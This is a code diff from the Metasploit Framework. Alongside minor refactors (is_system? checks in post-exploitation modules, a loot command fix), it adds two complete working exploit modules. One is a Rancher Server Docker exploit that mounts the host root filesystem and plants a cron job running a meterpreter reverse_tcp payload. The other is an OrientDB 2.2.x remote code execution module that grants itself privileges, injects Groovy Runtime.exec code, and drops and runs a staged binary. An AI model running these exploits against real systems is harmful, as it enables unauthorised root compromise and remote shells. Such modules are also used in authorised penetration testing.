|
||||
print_line " Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type]"
|
||||
print_line " Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] -t [type]"
|
||||
print_line " Del: loot -d [addr1 addr2 ...]"
|
||||
print_line
|
||||
print_line " -a,--add Add loot to the list of addresses, instead of listing"
|
||||
|
@ -1187,34 +1187,38 @@ class Db
|
|||
'Columns' => [ 'host', 'service', 'type', 'name', 'content', 'info', 'path' ],
|
||||
})
|
||||
|
||||
# Sentinal value meaning all
|
||||
# Sentinel value meaning all
|
||||
host_ranges.push(nil) if host_ranges.empty?
|
||||
|
||||
if mode == :add
|
||||
if info.nil?
|
||||
print_error("Info required")
|
||||
return
|
||||
end
|
||||
if filename.nil?
|
||||
print_error("Loot file required")
|
||||
return
|
||||
end
|
||||
if types.nil? or types.size != 1
|
||||
print_error("Exactly one loot type is required")
|
||||
return
|
||||
end
|
||||
type = types.first
|
||||
name = File.basename(filename)
|
||||
host_ranges.each do |range|
|
||||
range.each do |host|
|
||||
file = File.open(filename, "rb")
|
||||
contents = file.read
|
||||
lootfile = framework.db.find_or_create_loot(:type => type, :host => host, :info => info, :data => contents, :path => filename, :name => name)
|
||||
print_status("Added loot for #{host} (#{lootfile})")
|
||||
if mode == :add
|
||||
if host_ranges.compact.empty?
|
||||
print_error('Address list required')
|
||||
return
|
||||
end
|
||||
if info.nil?
|
||||
print_error("Info required")
|
||||
return
|
||||
end
|
||||
if filename.nil?
|
||||
print_error("Loot file required")
|
||||
return
|
||||
end
|
||||
if types.nil? or types.size != 1
|
||||
print_error("Exactly one loot type is required")
|
||||
return
|
||||
end
|
||||
type = types.first
|
||||
name = File.basename(filename)
|
||||
file = File.open(filename, "rb")
|
||||
contents = file.read
|
||||
host_ranges.each do |range|
|
||||
range.each do |host|
|
||||
lootfile = framework.db.find_or_create_loot(:type => type, :host => host, :info => info, :data => contents, :path => filename, :name => name)
|
||||
print_status("Added loot for #{host} (#{lootfile})")
|
||||
end
|
||||
end
|
||||
return
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
each_host_range_chunk(host_ranges) do |host_search|
|
||||
framework.db.hosts(framework.db.workspace, false, host_search).each do |host|
|
||||
|
|
|
@ -159,7 +159,7 @@ class Console::CommandDispatcher::Mimikatz
|
|||
end
|
||||
|
||||
def system_check
|
||||
unless (client.sys.config.getuid == "NT AUTHORITY\\SYSTEM")
|
||||
unless client.sys.config.is_system?
|
||||
print_warning("Not currently running as SYSTEM")
|
||||
return false
|
||||
end
|
||||
|
|
|
@ -0,0 +1,234 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Rancher Server - Docker Exploit',
|
||||
'Description' => %q(
|
||||
Utilizing Rancher Server, an attacker can create a docker container
|
||||
with the '/' path mounted with read/write permissions on the host
|
||||
server that is running the docker container. As the docker container
|
||||
executes command as uid 0 it is honored by the host operating system
|
||||
allowing the attacker to edit/create files owed by root. This exploit
|
||||
abuses this to creates a cron job in the '/etc/cron.d/' path of the
|
||||
host server.
|
||||
|
||||
The Docker image should exist on the target system or be a valid image
|
||||
from hub.docker.com.
|
||||
|
||||
Use `check` with verbose mode to get a list of exploitable Rancher
|
||||
Hosts managed by the target system.
|
||||
),
|
||||
'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
'URL' => 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X64],
|
||||
'Payload' => { 'Space' => 65000 },
|
||||
'Targets' => [[ 'Linux', {} ]],
|
||||
'DefaultOptions' => { 'WfsDelay' => 75, 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jul 27, 2017'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETENV', [ true, 'Target Rancher Environment', '1a5' ]),
|
||||
OptString.new('TARGETHOST', [ true, 'Target Rancher Host', '1h1' ]),
|
||||
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
|
||||
OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
|
||||
OptString.new('HttpUsername', [false, 'Rancher API Access Key (Username)']),
|
||||
OptString.new('HttpPassword', [false, 'Rancher API Secret Key (Password)'])
|
||||
]
|
||||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, 'Rancher API Path', '/v1/projects' ]),
|
||||
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def del_container(rancher_container_id, container_id)
|
||||
res = send_request_cgi(
|
||||
'method' => 'DELETE',
|
||||
'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', rancher_container_id),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => { 'Accept' => 'application/json' }
|
||||
)
|
||||
|
||||
return vprint_good('The docker container has been removed.') if res && res.code == 200
|
||||
|
||||
print_warning("Manual cleanup of container \"#{container_id}\" is needed on the target.")
|
||||
end
|
||||
|
||||
def make_container_id
|
||||
return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?
|
||||
|
||||
rand_text_alpha_lower(8)
|
||||
end
|
||||
|
||||
def make_cmd(mnt_path, cron_path, payload_path)
|
||||
vprint_status('Creating the docker container command')
|
||||
echo_cron_path = mnt_path + cron_path
|
||||
echo_payload_path = mnt_path + payload_path
|
||||
|
||||
command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
|
||||
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
|
||||
command << "echo \"\" >> #{echo_cron_path} \&\& "
|
||||
command << "echo \"* * * * * root #{payload_path}\" >> #{echo_cron_path}"
|
||||
|
||||
command
|
||||
end
|
||||
|
||||
def make_container(mnt_path, cron_path, payload_path, container_id)
|
||||
vprint_status('Setting container json request variables')
|
||||
{
|
||||
'instanceTriggeredStop' => 'stop',
|
||||
'startOnCreate' => true,
|
||||
'networkMode' => 'managed',
|
||||
'requestedHostId' => datastore['TARGETHOST'],
|
||||
'type' => 'container',
|
||||
'dataVolumes' => [ '/:' + mnt_path ],
|
||||
'imageUuid' => 'docker:' + datastore['DOCKERIMAGE'],
|
||||
'name' => container_id,
|
||||
'command' => make_cmd(mnt_path, cron_path, payload_path),
|
||||
'entryPoint' => %w[sh -c]
|
||||
}
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => { 'Accept' => 'application/json' }
|
||||
)
|
||||
|
||||
if res.nil?
|
||||
print_error('Failed to connect to the target')
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res.code == 401 && res.headers.to_json.include?('X-Rancher-Version')
|
||||
print_error('Authorization is required. Provide valid Rancher API Keys.')
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
if res.code == 200 && res.headers.to_json.include?('X-Rancher-Version')
|
||||
target_found = false
|
||||
target_selected = false
|
||||
|
||||
environments = JSON.parse(res.body)['data']
|
||||
environments.each do |e|
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, e['id'], 'hosts'),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => { 'Accept' => 'application/json' }
|
||||
)
|
||||
|
||||
hosts = JSON.parse(res.body)['data']
|
||||
hosts.each do |h|
|
||||
target_found = true
|
||||
result = "Rancher Host \"#{h['hostname']}\" (TARGETHOST #{h['id']}) on "
|
||||
result << "Environment \"#{e['name']}\" (TARGETENV #{e['id']}) found"
|
||||
|
||||
# flag results when this host is targeted via options
|
||||
if datastore['TARGETENV'] == e['id'] && datastore['TARGETHOST'] == h['id']
|
||||
target_selected = true
|
||||
vprint_good(result + ' %red<-- targeted%clr')
|
||||
else
|
||||
vprint_good(result)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if target_found
|
||||
return Exploit::CheckCode::Vulnerable if target_selected
|
||||
|
||||
print_bad("Your TARGETENV \"#{datastore['TARGETENV']}\" or/and TARGETHOST \"#{datastore['TARGETHOST']}\" is not available")
|
||||
if datastore['VERBOSE'] == false
|
||||
print_bad('Try verbose mode to know what happened.')
|
||||
end
|
||||
vprint_bad('Choose a TARGETHOST and TARGETENV from the results above')
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
print_bad('No TARGETHOST available')
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == Exploit::CheckCode::Vulnerable
|
||||
fail_with(Failure::Unknown, 'Failed to connect to the target')
|
||||
end
|
||||
|
||||
# create required information to create json container information
|
||||
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
|
||||
payload_path = '/tmp/' + rand_text_alpha(8)
|
||||
mnt_path = '/mnt/' + rand_text_alpha(8)
|
||||
container_id = make_container_id
|
||||
|
||||
# deploy docker container
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers'),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => { 'Accept' => 'application/json' },
|
||||
'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json
|
||||
)
|
||||
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res && res.code == 201
|
||||
|
||||
print_good('The docker container is created, waiting for it to deploy')
|
||||
|
||||
# cleanup
|
||||
register_files_for_cleanup(cron_path, payload_path)
|
||||
|
||||
rancher_container_id = JSON.parse(res.body)['id']
|
||||
deleted_container = false
|
||||
|
||||
sleep_time = 5
|
||||
wait_time = datastore['WAIT_TIMEOUT']
|
||||
vprint_status("Waiting up to #{wait_time} seconds until the docker container stops")
|
||||
|
||||
while wait_time > 0
|
||||
sleep(sleep_time)
|
||||
wait_time -= sleep_time
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', '?name=' + container_id),
|
||||
'ctype' => 'application/json',
|
||||
'headers' => { 'Accept' => 'application/json' }
|
||||
)
|
||||
next unless res && res.code == 200 && res.body.include?('stopped')
|
||||
|
||||
vprint_good('The docker container has stopped, now trying to remove it')
|
||||
del_container(rancher_container_id, container_id)
|
||||
deleted_container = true
|
||||
wait_time = 0
|
||||
end
|
||||
|
||||
# if container does not deploy, try to remove it and fail out
|
||||
unless deleted_container
|
||||
del_container(rancher_container_id, container_id)
|
||||
fail_with(Failure::Unknown, "The docker container failed to start")
|
||||
end
|
||||
|
||||
print_status('Waiting for the cron job to run, can take up to 60 seconds')
|
||||
end
|
||||
end
|
|
@ -0,0 +1,257 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'OrientDB 2.2.x Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
|
||||
All versions from 2.2.2 up to 2.2.22 should be vulnerable.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Francis Alexander - Beyond Security\'s SecuriTeam Secure Disclosure program', # Public PoC
|
||||
'Ricardo Jorge Borges de Almeida ricardojba1[at]gmail.com', # Metasploit Module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://blogs.securiteam.com/index.php/archives/3318'],
|
||||
['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'],
|
||||
['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017']
|
||||
],
|
||||
'Platform' => %w{ linux unix win },
|
||||
'Privileged' => false,
|
||||
'Targets' =>
|
||||
[
|
||||
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
|
||||
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],
|
||||
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['vbs','certutil']}]
|
||||
],
|
||||
'DisclosureDate' => 'Jul 13 2017',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(2480),
|
||||
OptString.new('USERNAME', [ true, 'HTTP Basic Auth User', 'writer' ]),
|
||||
OptString.new('PASSWORD', [ true, 'HTTP Basic Auth Password', 'writer' ]),
|
||||
OptString.new('TARGETURI', [ true, 'The path to the OrientDB application', '/' ])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
uri = target_uri
|
||||
uri.path = normalize_uri(uri.path)
|
||||
res = send_request_raw({'uri' => "#{uri.path}listDatabases"})
|
||||
if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./
|
||||
print_good("Version: #{res.headers['Server']}")
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
print_status("Version: #{res.headers['Server']}")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def http_send_command(cmd, opts = {})
|
||||
# 1 -Create the malicious function
|
||||
func_name = Rex::Text::rand_text_alpha(5).downcase
|
||||
request_parameters = {
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"),
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
|
||||
'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}"
|
||||
}
|
||||
res = send_request_raw(request_parameters)
|
||||
if not (res and res.code == 201)
|
||||
begin
|
||||
json_body = JSON.parse(res.body)
|
||||
rescue JSON::ParserError
|
||||
fail_with(Failure::Unknown, 'Failed to create the malicious function.')
|
||||
return
|
||||
end
|
||||
end
|
||||
# 2 - Trigger the malicious function
|
||||
request_parameters = {
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"),
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
|
||||
'data' => ""
|
||||
}
|
||||
req = send_request_raw(request_parameters)
|
||||
if not (req and req.code == 200)
|
||||
begin
|
||||
json_body = JSON.parse(res.body)
|
||||
rescue JSON::ParserError
|
||||
fail_with(Failure::Unknown, 'Failed to trigger the malicious function.')
|
||||
return
|
||||
end
|
||||
end
|
||||
# 3 - Get the malicious function id
|
||||
if res && res.body.length > 0
|
||||
begin
|
||||
json_body = JSON.parse(res.body)["@rid"]
|
||||
rescue JSON::ParserError
|
||||
fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.')
|
||||
return
|
||||
end
|
||||
end
|
||||
func_id = json_body.slice(1..-1)
|
||||
# 4 - Delete the malicious function
|
||||
request_parameters = {
|
||||
'method' => 'DELETE',
|
||||
'uri' => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"),
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' => { 'Accept' => '*/*' },
|
||||
'data' => ""
|
||||
}
|
||||
rer = send_request_raw(request_parameters)
|
||||
if not (rer and rer.code == 204)
|
||||
begin
|
||||
json_body = JSON.parse(res.body)
|
||||
rescue JSON::ParserError
|
||||
fail_with(Failure::Unknown, 'Failed to delete the malicious function.')
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def java_craft_runtime_exec(cmd)
|
||||
decoder = Rex::Text.rand_text_alpha(5, 8)
|
||||
decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
|
||||
cmd_array = Rex::Text.rand_text_alpha(5, 8)
|
||||
jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
|
||||
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
|
||||
jcode << "String [] #{cmd_array} = new String[3];\n"
|
||||
if target['Platform'] == 'win'
|
||||
jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
|
||||
jcode << "#{cmd_array}[1] = \"/c\";\n"
|
||||
else
|
||||
jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
|
||||
jcode << "#{cmd_array}[1] = \"-c\";\n"
|
||||
end
|
||||
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
|
||||
jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
|
||||
jcode
|
||||
end
|
||||
|
||||
def on_new_session(client)
|
||||
if not @to_delete.nil?
|
||||
print_warning("Deleting #{@to_delete} payload file")
|
||||
execute_command("rm #{@to_delete}")
|
||||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
vprint_status("Attempting to execute: #{cmd}")
|
||||
@uri = target_uri
|
||||
@uri.path = normalize_uri(@uri.path)
|
||||
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
|
||||
if res && res.code == 200 && res.body.length > 0
|
||||
begin
|
||||
json_body = JSON.parse(res.body)["databases"]
|
||||
rescue JSON::ParserError
|
||||
print_error("Unable to parse JSON")
|
||||
return
|
||||
end
|
||||
else
|
||||
print_error("Timeout or unexpected response...")
|
||||
return
|
||||
end
|
||||
targetdb = json_body[0]
|
||||
http_send_command(cmd,targetdb)
|
||||
end
|
||||
|
||||
def linux_stager
|
||||
cmds = "echo LINE | tee FILE"
|
||||
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
|
||||
base64 = Rex::Text.encode_base64(exe)
|
||||
base64.gsub!(/\=/, "\\u003d")
|
||||
file = rand_text_alphanumeric(4+rand(4))
|
||||
execute_command("touch /tmp/#{file}.b64")
|
||||
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
|
||||
base64.each_line do |line|
|
||||
line.chomp!
|
||||
cmd = cmds
|
||||
cmd.gsub!(/LINE/, line)
|
||||
execute_command(cmds)
|
||||
end
|
||||
execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
|
||||
execute_command("chmod +x /tmp/#{file}")
|
||||
execute_command("rm /tmp/#{file}.b64")
|
||||
execute_command("/tmp/#{file}")
|
||||
@to_delete = "/tmp/#{file}"
|
||||
end
|
||||
|
||||
def exploit
|
||||
@uri = target_uri
|
||||
@uri.path = normalize_uri(@uri.path)
|
||||
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
|
||||
if res && res.code == 200 && res.body.length > 0
|
||||
begin
|
||||
json_body = JSON.parse(res.body)["databases"]
|
||||
rescue JSON::ParserError
|
||||
print_error("Unable to parse JSON")
|
||||
return
|
||||
end
|
||||
else
|
||||
print_error("Timeout or unexpected response...")
|
||||
return
|
||||
end
|
||||
targetdb = json_body[0]
|
||||
privs_enable = ['create','read','update','execute','delete']
|
||||
items = ['database.class.ouser','database.function','database.systemclusters']
|
||||
# Set the required DB permissions
|
||||
privs_enable.each do |priv|
|
||||
items.each do |item|
|
||||
request_parameters = {
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
|
||||
'vars_get' => { 'format' => 'rid,type,version,class,graph' },
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' => { 'Accept' => '*/*' },
|
||||
'data' => "GRANT #{priv} ON #{item} TO writer"
|
||||
}
|
||||
res = send_request_raw(request_parameters)
|
||||
end
|
||||
end
|
||||
# Exploit
|
||||
case target['Platform']
|
||||
when 'win'
|
||||
print_status("#{rhost}:#{rport} - Sending command stager...")
|
||||
execute_cmdstager(flavor: :vbs)
|
||||
when 'unix'
|
||||
print_status("#{rhost}:#{rport} - Sending payload...")
|
||||
res = http_send_command("#{payload.encoded}","#{targetdb}")
|
||||
when 'linux'
|
||||
print_status("#{rhost}:#{rport} - Sending Linux stager...")
|
||||
linux_stager
|
||||
end
|
||||
handler
|
||||
# Final Cleanup
|
||||
privs_enable.each do |priv|
|
||||
items.each do |item|
|
||||
request_parameters = {
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
|
||||
'vars_get' => { 'format' => 'rid,type,version,class,graph' },
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||
'headers' => { 'Accept' => '*/*' },
|
||||
'data' => "REVOKE #{priv} ON #{item} FROM writer"
|
||||
}
|
||||
res = send_request_raw(request_parameters)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -80,7 +80,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
return
|
||||
end
|
||||
# Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
|
||||
if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
|
||||
if client.sys.config.is_system?
|
||||
print_error("Cannot run as system")
|
||||
return
|
||||
end
|
||||
|
|
|
@ -151,7 +151,7 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
rows.map! do |row|
|
||||
res = Hash[*columns.zip(row).flatten]
|
||||
if item[:encrypted_fields] && session.sys.config.getuid != "NT AUTHORITY\\SYSTEM"
|
||||
if item[:encrypted_fields] && !session.sys.config.is_system?
|
||||
|
||||
item[:encrypted_fields].each do |field|
|
||||
name = (res["name_on_card"] == nil) ? res["username_value"] : res["name_on_card"]
|
||||
|
|
|
@ -59,7 +59,7 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
|
||||
# Havent figured this one out yet, but we need a PID owned by a user, can't steal tokens either
|
||||
if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
|
||||
if client.sys.config.is_system?
|
||||
print_error "Cannot run as system"
|
||||
return 0
|
||||
end
|
||||
|
|
|
@ -66,7 +66,6 @@ end
|
|||
def enum_users(os)
|
||||
users = []
|
||||
userinfo = {}
|
||||
user = @client.sys.config.getuid
|
||||
userpath = nil
|
||||
useroffcpath = nil
|
||||
sysdrv = @client.sys.config.getenv('SystemDrive')
|
||||
|
@ -79,7 +78,7 @@ def enum_users(os)
|
|||
lnkpath = "\\Recent\\"
|
||||
officelnkpath = "\\Application Data\\Microsoft\\Office\\Recent\\"
|
||||
end
|
||||
if user == "NT AUTHORITY\\SYSTEM"
|
||||
if @client.sys.config.is_system?
|
||||
print_status("Running as SYSTEM extracting user list...")
|
||||
@client.fs.dir.foreach(userpath) do |u|
|
||||
next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini)$/
|
||||
|
|
|
@ -145,7 +145,7 @@ def process_files(username)
|
|||
db.close
|
||||
rows.map! do |row|
|
||||
res = Hash[*columns.zip(row).flatten]
|
||||
if item[:encrypted_fields] && client.sys.config.getuid != "NT AUTHORITY\\SYSTEM"
|
||||
if item[:encrypted_fields] && !client.sys.config.is_system?
|
||||
if @host_info['Architecture'] !~ /x64/
|
||||
item[:encrypted_fields].each do |field|
|
||||
print_good("decrypting field '#{field}'...")
|
||||
|
|
|
@ -228,7 +228,6 @@ end
|
|||
def enum_users
|
||||
os = @client.sys.config.sysinfo['OS']
|
||||
users = []
|
||||
user = @client.sys.config.getuid
|
||||
path4users = ""
|
||||
sysdrv = @client.sys.config.getenv('SystemDrive')
|
||||
|
||||
|
@ -240,7 +239,7 @@ def enum_users
|
|||
profilepath = "\\Application Data\\VMware\\"
|
||||
end
|
||||
|
||||
if user == "NT AUTHORITY\\SYSTEM"
|
||||
if @client.sys.config.is_system?
|
||||
print_status("Running as SYSTEM extracting user list..")
|
||||
@client.fs.dir.foreach(path4users) do |u|
|
||||
userinfo = {}
|
||||
|
|
|
@ -148,7 +148,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do
|
|||
expect(@output).to match_array [
|
||||
"Usage: loot <options>",
|
||||
" Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]",
|
||||
" Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type]",
|
||||
" Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] -t [type]",
|
||||
" Del: loot -d [addr1 addr2 ...]",
|
||||
" -a,--add Add loot to the list of addresses, instead of listing",
|
||||
" -d,--delete Delete *all* loot matching host and type",
|
||||
|
|
Loading…
Reference in New Issue